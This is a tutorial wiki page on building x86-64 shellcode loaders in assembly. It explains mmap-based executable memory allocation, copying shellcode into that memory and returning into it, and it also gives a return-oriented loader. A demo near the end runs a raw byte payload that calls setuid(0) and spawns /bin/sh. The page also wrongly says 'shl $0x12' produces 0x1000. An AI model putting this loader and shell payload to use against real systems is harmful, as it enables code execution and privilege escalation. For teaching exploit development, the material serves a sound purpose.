Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "Shellcode/Loaders"

From NetSec
Jump to: navigation, search
(Created page with "== Testing your code with a loader == {{info|<center>The code presented here is revisited later to be converted into shellcode for use in a polymorphic shellcode decoder, so ...")
(No difference)

Revision as of 05:39, 22 November 2012

Testing your code with a loader

c3el4.png
The code presented here is revisited later to be converted into shellcode for use in a polymorphic shellcode decoder, so it is nearly null-free.

Shellcode has to be tested before it can be used, so a shellcode loader is needed. The best way to construct a loader for user-friendly operations is by taking the shellcode as a command line argument.

Command Line Arguments

Command line arguments are pushed onto the stack in this order: second argument, first argument, number of arguments. So, in order to get the shellcode from the arguments, pop the %rbx register three times. Once this is done, the %rbx register will contain a pointer to the shellcode:

 
_start:
    pop %rbx  # argc
    pop %rbx  # arg0
    pop %rbx  # arg1 pointer
 

Executable memory allocation with mmap()

See also: Unlinked 64-bit system calls, the 64-bit system call table

Because modern operating systems have non-executable stacks by default, an executable stack must be constructed for successful code execution. This is done with the mmap() system call.

The prototype for mmap() is:

 
  void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off);
 

On 64-bit processors, function arguments are passed like so:

 
   function_call(%rax) = function(%rdi,  %rsi,  %rdx,  %r10,  %r8,  %r9)
                 ^system          ^arg1  ^arg2  ^arg3  ^arg4  ^arg5 ^arg6
                  call #
 

So first, we move the system call number (9) into the %rax register.

 
    push $0x9
    pop %rax
 

The first argument (%rdi) of mmap() should be null, so using xor %rdi is set to zero.

 
    xor %rdi, %rdi
 

We need to allocate 0x1000 bytes with the second argument (%rsi). First, we will zero %rsi by pushing %rdi and popping %rsi.

 
    push %rdi
    pop %rsi
 

Then increment to get it to 0x0001:

 
    inc %rsi
 

And shift it left 12 bits (1 shifted left 12 bits will become 0x1000 or binary 00010000 00000000):

 
    shl $0x12, %rsi
 

The third argument (%rdx) contains the memory permissions (read, write, execute, or none), for multiple, they are put together using bitwise or. Since 7 is the result of ORing the flags PROT_READ, PROT_WRITE, and PROT_EXEC, we skip or itself and store that in %rdx.

 
    push $0x7
    pop %rdx
 

The flags argument functions the same as the prot argument but requires constants for mapping, in this case MAP_PRIVATE|MAP_ANONYMOUS, which maps out to 0x22, this is stored in %r10.

 
    push $0x22
    pop %r10
 

The final two arguments should be null and stored in %r8 and %r9.

 
    push %rdi
    push %rdi
    pop %r8
    pop %r9
 

Once the registers are set, we call it with syscall.

 
    syscall   # The syscall for the mmap().
 

Copying the code into the new memory

Next, we are going to move the shellcode into %rax register and determine the length.

%rsi will be used for the counter, so first we zero it out:

 
inject: 
    xor %rsi, %rsi
 

%rdi will be null as well because the current byte is compared to %dil to determine when we have reached the end of the shellcode.

 
    push %rsi
    pop %rdi    
 

If so, then we jump to inject_finished and actually execute the code.

 
inject_loop:
    cmpb %dil, (%rbx, %rsi, 1)
    je inject_finished
 

Each byte of the shellcode is moved from %rbx + %rsi (current location) into %rax + %rsi (new executable memory) through the %r10b single-byte sub-register of %r10:

 
    movb (%rbx, %rsi, 1), %r10b
    movb %r10b, (%rax,%rsi,1)
 

%rsi is incremented as both the offset and the counter:

 
    inc %rsi
 

And then the loop restarts:

 
    jmp inject_loop
 

The inject_finished routine then appends the ret opcode, 0xc3, to the end of the shellcode:

 
inject_finished:
    movb $0xc3, (%rax, %rsi, 1)
 

(note: opcodes are the instructions, whereas bytecode represents the opcode and its arguments, called operands in proper machine code terminology)


Returning to the code

We then call ret_to_shellcode, this causes the address of exit to be pushed onto the stack, so that the end of the shellcode now returns to <address of exit>.

 
    call ret_to_shellcode
 

We then replace the original return address with the address of our shellcode and return into it.

 
ret_to_shellcode:
    push %rax
    ret
 

When the shellcode completes, it will return to our exit function to exit cleanly:

 
exit:
    push $60
    pop %rax
    xor %rdi, %rdi
    syscall
 

Once the code is complete we can run it along with our test shellcode:

 ╭─user@host ~  
 ╰─➤  as -oloader.o loader.s
 ╭─user@host ~
 ╰─➤  ld -oloader loader.o


Return oriented loader

Return oriented code can be tested using a loader as well; though a much smaller loader is used as return-oriented code should not require executable memory allocation:

 
.section .data
.section .text
.globl _start
 
_start:
 
pop %rbx  
pop %rbx  
pop %rsp  # %rsp now points to arg1 in the stack
ret
 

Using the executable loader

The shellcode we'll invoke here is the same as the shellcode we constructed and extracted earlier. Notice the change in prompt, and that exit returns the original prompt. This indicates that our shellcode executed successfully.

 ╭─user@host ~
 ╰─➤  ./loader "$(echo -en "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05");" 
 [user@host ~]$ exit
 exit
 ╭─user@host ~
 ╰─➤